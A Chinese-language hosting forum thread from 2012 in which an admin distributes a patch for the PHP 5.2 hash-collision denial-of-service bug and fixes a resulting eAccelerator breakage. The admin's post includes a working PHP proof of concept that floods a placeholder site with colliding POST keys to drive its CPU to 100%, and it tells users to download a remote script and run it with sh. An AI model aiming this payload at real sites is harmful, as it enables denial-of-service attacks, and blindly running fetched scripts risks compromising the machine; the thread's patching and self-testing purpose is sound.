[發(fā)布] PHP5.2.*防止Hash沖突拒絕服務(wù)攻擊升級(jí)腳本

admin

ssh登錄終端，執(zhí)行如下

wget http://www.fsowen.com/in_scripts/php-52_1130.sh.txt
sh php-52_1130.sh.txt

完成后就可以


已修正
之前升級(jí)的，如果出現(xiàn) EA無法使用，可執(zhí)行如下再編譯下EA就可以

cd /tmp
wget -c http://dl.wdlinux.cn:5180/soft/eaccelerator-0.9.5.3.tar.bz2
tar jxvf eaccelerator-0.9.5.3.tar.bz2
cd eaccelerator-0.9.5.3
./configure --enable-eaccelerator=shared --with-eaccelerator-shared-memory --with-php-config=/www/wdlinux/php/bin/php-config
make
make install

注
此腳本只對(duì)wdlinux,一鍵包及wdcp的默認(rèn)安裝有效，如不是wdlinux的安裝包或有修改目錄的，可做相應(yīng)的修改編譯
或下載php手工編譯


此BUG據(jù)說可以讓CPU100%從而達(dá)到拒絕服務(wù)，但我在幾個(gè)機(jī)器上測(cè)試，似乎沒有這個(gè)問題
這里附上測(cè)試程序

1. <?php
   
2. $size = pow(2, 16);
   
3. $array = array();
   
4. $ch = curl_init();
   
5. curl_setopt($ch, CURLOPT_URL, "http://www.xxx.com/index.php");
   
6. for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
   
7.         #$array[$key] = 0;
   
8.         $argument.="a[".$key."]=0&";
   
9. }
   
10. curl_setopt($ch, CURLOPT_POST, true);
    
11. curl_setopt($ch, CURLOPT_POSTFIELDS, $argument."1=1");
    
12. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    
13. curl_setopt($ch, CURLOPT_TIMEOUT, '0');
    
14. curl_setopt($ch, CURLOPT_USERAGENT, 'API REQUEST(CURL)');
    
15. 
    
16. $return['result'] = curl_exec($ch);
    
17. $return['code'] = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
18. curl_close($ch);
    
19. ?>

復(fù)制代碼

另一個(gè)攻擊測(cè)試腳本 http://blog.csdn.net/linvo/article/details/7169718

把上面的www.xxx.com 替換為相關(guān)的域名即可
把上面的PHP代碼保存為當(dāng)前文件如t.php
/www/wdlinux/wdphp/bin/php t.php
就可以看到效果，如果有問題，CPU就會(huì)達(dá)100%

mingzhao

太感謝了~正愁著嘗試網(wǎng)上的方法都不行~老大就出了腳本

c3a3o3

This build of "eAccelerator" was compiled for PHP version 5.2.17. Rebuild it for your PHP version (5.2.17-p1) or download precompiled binaries.

c3a3o3

ssh登錄終端，執(zhí)行如下

wget
sh php-52_1130.sh.txt

完成后就可以

注
此腳本只對(duì)wdlinux,一鍵包 ...
admin 發(fā)表于 2012-1-4 13:03

    弄好以后  eAccelerator 不能用了

admin

已修正
之前升級(jí)的，可執(zhí)行如下再編譯下EA就可以
cd /tmp
wget -c http://dl.wdlinux.cn:5180/soft/eaccelerator-0.9.5.3.tar.bz2
tar jxvf eaccelerator-0.9.5.3.tar.bz2
cd eaccelerator-0.9.5.3
./configure --enable-eaccelerator=shared --with-eaccelerator-shared-memory --with-php-config=/www/wdlinux/php/bin/php-config
make
make install

c3a3o3

已修正
之前升級(jí)的，可執(zhí)行如下再編譯下EA就可以
cd /tmp
wget -c
tar jxvf eaccelerator-0.9.5.3.tar ...
admin 發(fā)表于 2012-1-9 12:35

    老大的效率 太高了 謝謝

admin

是前兩天修改過的，你應(yīng)該是早幾天升的吧

c3a3o3

是前兩天修改過的，你應(yīng)該是早幾天升的吧
admin 發(fā)表于 2012-1-9 14:35

   上周六 測(cè)試 出現(xiàn) 的問題

al277

這個(gè)很給力的說 我就說 怎么網(wǎng)站打開報(bào)錯(cuò)了呢
ssh上去top一看，我靠mysql占用內(nèi)存都120%了。。。。
果斷下補(bǔ)丁 幾分鐘搞定

admin

加上memcache擴(kuò)展再編譯下

omaman

wdcp_v2.1.2 是不是已經(jīng)打了補(bǔ)丁，不需要單獨(dú)再大本文這個(gè)補(bǔ)�。�

admin

在此之后的不用

擋風(fēng)

天天CPU百分百的路過。

doxlzt

學(xué)習(xí) 了，支持老大

匿名好友

請(qǐng)問老大，8月21的要不要再弄下這個(gè)